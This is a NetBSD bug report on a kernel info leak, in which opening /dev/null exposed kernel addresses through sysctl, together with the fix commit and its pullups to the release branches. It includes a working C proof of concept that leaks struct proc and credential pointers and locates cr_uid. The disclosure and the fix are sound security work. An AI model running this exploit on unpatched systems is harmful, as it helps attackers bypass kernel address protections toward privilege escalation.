NetBSD Problem Report #60374

From riastradh@netbsd.org  Fri Jun 26 19:14:41 2026
Return-Path: <riastradh@netbsd.org>
Received: from mail.netbsd.org (mail.netbsd.org [199.233.217.200])
	(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
	 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256
	 client-signature RSA-PSS (2048 bits) client-digest SHA256)
	(Client CN "mail.netbsd.org", Issuer "R13" (not verified))
	by mollari.NetBSD.org (Postfix) with ESMTPS id 2D51B1A923A
	for <gnats-bugs@gnats.NetBSD.org>; Fri, 26 Jun 2026 19:14:41 +0000 (UTC)
Message-Id: <20260626191439.E13411A923B@mollari.NetBSD.org>
Date: Fri, 26 Jun 2026 19:14:39 +0000 (UTC)
From: riastradh@netbsd.org
Reply-To: riastradh@netbsd.org
To: gnats-bugs@NetBSD.org
Subject: opening /dev/null exposes kva
X-Send-Pr-Version: 3.95
X-From4GNATS: "riastradh@netbsd.org via gnats" <gnats-admin@NetBSD.org>

>Number:         60374
>Category:       kern
>Synopsis:       opening /dev/null exposes kva
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    kern-bug-people
>State:          closed
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Fri Jun 26 19:15:00 +0000 2026
>Closed-Date:    Tue Jun 30 13:36:36 +0000 2026
>Last-Modified:  Tue Jun 30 13:36:36 +0000 2026
>Originator:     Taylor R Campbell
>Release:        current, 11, 10, 9 (and 8)
>Organization:
Akme Kmem Obfuscation, Inc.
>Environment:
>Description:

	Opening _any_ /dev node handled by mem_cdevsw, including
	/dev/null, causes subsequent exposure of kva in various sysctl
	nodes to the calling process; the intent was for only those
	processes with access to, e.g., /dev/mem to get such addresses
	exposed.

>How-To-Repeat:

/* Info-leak PoC: open("/dev/null") tags PK_KMEM (mm_open bug) -> with
 * kern_expose_address==1 (no KASLR) the CANSEE_KPTR check then exposes REAL
 * kernel pointers via the KERN_PROC sysctls. Run as an unprivileged user. */
#include <sys/param.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

static uint64_t get_paddr(void)
{
        struct kinfo_proc2 kp;
        size_t len = sizeof(kp);
        int mib[6] = { CTL_KERN, KERN_PROC2, KERN_PROC_PID, getpid(),
            (int)sizeof(kp), 1 };
        if (sysctl(mib, 6, &kp, &len, NULL, 0) != 0) { perror("KERN_PROC2"); return 0; }
        printf("  KERN_PROC2: p_paddr=0x%016llx p_fd=0x%016llx p_vmspace=0x%016llx\n",
            (unsigned long long)kp.p_paddr, (unsigned long long)kp.p_fd,
            (unsigned long long)kp.p_vmspace);
        return kp.p_paddr;
}

/* KERN_PROC returns struct kinfo_proc whose kp_proc (offset 0) is a raw
 * struct proc; p_cred sits at offsetof(struct proc,p_cred)==0x38. */
static uint64_t get_pcred(void)
{
        static unsigned char buf[8192];
        size_t len = sizeof(buf);
        int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_PID, getpid() };
        if (sysctl(mib, 4, buf, &len, NULL, 0) != 0) { perror("KERN_PROC"); return 0; }
        uint64_t pcred = *(uint64_t *)(buf + 0x38);
        printf("  KERN_PROC : kp_proc.p_cred=0x%016llx  (len=%zu)\n",
            (unsigned long long)pcred, len);
        return pcred;
}

int main(void)
{
        printf("[*] uid=%d euid=%d\n", (int)getuid(), (int)geteuid());
        printf("[*] BEFORE open(/dev/null):\n");
        get_paddr(); get_pcred();

        int fd = open("/dev/null", O_RDONLY);
        printf("[*] open(/dev/null) = %d  -> process now flagged PK_KMEM\n", fd);

        printf("[*] AFTER open(/dev/null):\n");
        uint64_t paddr = get_paddr();
        uint64_t cred  = get_pcred();
        printf("[*] LEAKED struct proc=0x%016llx  kauth_cred=0x%016llx\n",
            (unsigned long long)paddr, (unsigned long long)cred);
        if (cred >> 32) printf("[+] cred->cr_uid is at 0x%016llx\n",
            (unsigned long long)(cred + 64));
        return 0;
}



>Fix:

	Make PK_KMEM bit depend on opening DEV_MEM or DEV_KMEM or
	something.

>Release-Note:

>Audit-Trail:
From: "Taylor R Campbell" <riastradh@netbsd.org>
To: gnats-bugs@gnats.NetBSD.org
Cc: 
Subject: PR/60374 CVS commit: src/sys/dev
Date: Sat, 27 Jun 2026 20:33:41 +0000

 Module Name:	src
 Committed By:	riastradh
 Date:		Sat Jun 27 20:33:41 UTC 2026

 Modified Files:
 	src/sys/dev: mm.c

 Log Message:
 mm(4): Only grant kva exposure if user opens /dev/kmem.

 Don't apply the same to /dev/null, /dev/zero, or anything else.

 PR kern/60374: opening /dev/null exposes kva


 To generate a diff of this commit:
 cvs rdiff -u -r1.25 -r1.26 src/sys/dev/mm.c

 Please note that diffs are not public domain; they are subject to the
 copyright notices on the relevant files.

State-Changed-From-To: open->pending-pullups
State-Changed-By: riastradh@NetBSD.org
State-Changed-When: Mon, 29 Jun 2026 19:55:20 +0000
State-Changed-Why:
fixed in HEAD
pullup-11 #352 https://releng.netbsd.org/cgi-bin/req-11.cgi?show=352
pullup-10 #1296 https://releng.netbsd.org/cgi-bin/req-10.cgi?show=1296
pullup-9 #2026 https://releng.netbsd.org/cgi-bin/req-9.cgi?show=2026


From: "Martin Husemann" <martin@netbsd.org>
To: gnats-bugs@gnats.NetBSD.org
Cc: 
Subject: PR/60374 CVS commit: [netbsd-11] src/sys/dev
Date: Mon, 29 Jun 2026 20:08:40 +0000

 Module Name:	src
 Committed By:	martin
 Date:		Mon Jun 29 20:08:40 UTC 2026

 Modified Files:
 	src/sys/dev [netbsd-11]: mm.c

 Log Message:
 Pull up following revision(s) (requested by riastradh in ticket #352):

 	sys/dev/mm.c: revision 1.26

 mm(4): Only grant kva exposure if user opens /dev/kmem.

 Don't apply the same to /dev/null, /dev/zero, or anything else.
 PR kern/60374: opening /dev/null exposes kva


 To generate a diff of this commit:
 cvs rdiff -u -r1.25 -r1.25.2.1 src/sys/dev/mm.c

 Please note that diffs are not public domain; they are subject to the
 copyright notices on the relevant files.

From: "Martin Husemann" <martin@netbsd.org>
To: gnats-bugs@gnats.NetBSD.org
Cc: 
Subject: PR/60374 CVS commit: [netbsd-10] src/sys/dev
Date: Mon, 29 Jun 2026 20:10:06 +0000

 Module Name:	src
 Committed By:	martin
 Date:		Mon Jun 29 20:10:06 UTC 2026

 Modified Files:
 	src/sys/dev [netbsd-10]: mm.c

 Log Message:
 Pull up following revision(s) (requested by riastradh in ticket #1296):

 	sys/dev/mm.c: revision 1.26

 mm(4): Only grant kva exposure if user opens /dev/kmem.

 Don't apply the same to /dev/null, /dev/zero, or anything else.
 PR kern/60374: opening /dev/null exposes kva


 To generate a diff of this commit:
 cvs rdiff -u -r1.24 -r1.24.30.1 src/sys/dev/mm.c

 Please note that diffs are not public domain; they are subject to the
 copyright notices on the relevant files.

From: "Martin Husemann" <martin@netbsd.org>
To: gnats-bugs@gnats.NetBSD.org
Cc: 
Subject: PR/60374 CVS commit: [netbsd-9] src/sys/dev
Date: Mon, 29 Jun 2026 20:11:15 +0000

 Module Name:	src
 Committed By:	martin
 Date:		Mon Jun 29 20:11:15 UTC 2026

 Modified Files:
 	src/sys/dev [netbsd-9]: mm.c

 Log Message:
 Pull up following revision(s) (requested by riastradh in ticket #2026):

 	sys/dev/mm.c: revision 1.26

 mm(4): Only grant kva exposure if user opens /dev/kmem.

 Don't apply the same to /dev/null, /dev/zero, or anything else.
 PR kern/60374: opening /dev/null exposes kva


 To generate a diff of this commit:
 cvs rdiff -u -r1.24 -r1.24.4.1 src/sys/dev/mm.c

 Please note that diffs are not public domain; they are subject to the
 copyright notices on the relevant files.

State-Changed-From-To: pending-pullups->closed
State-Changed-By: riastradh@NetBSD.org
State-Changed-When: Tue, 30 Jun 2026 13:36:36 +0000
State-Changed-Why:
fixed in HEAD, pulled up to 11, 10, and 9


>Unformatted:

NetBSD Home
NetBSD PR Database Search

(Contact us) $NetBSD: query-full-pr,v 1.51 2026/08/10 02:28:17 riastradh Exp $
$NetBSD: gnats_config.sh,v 1.10 2026/05/13 22:00:09 riastradh Exp $
Copyright © 1994-2026 The NetBSD Foundation, Inc. ALL RIGHTS RESERVED.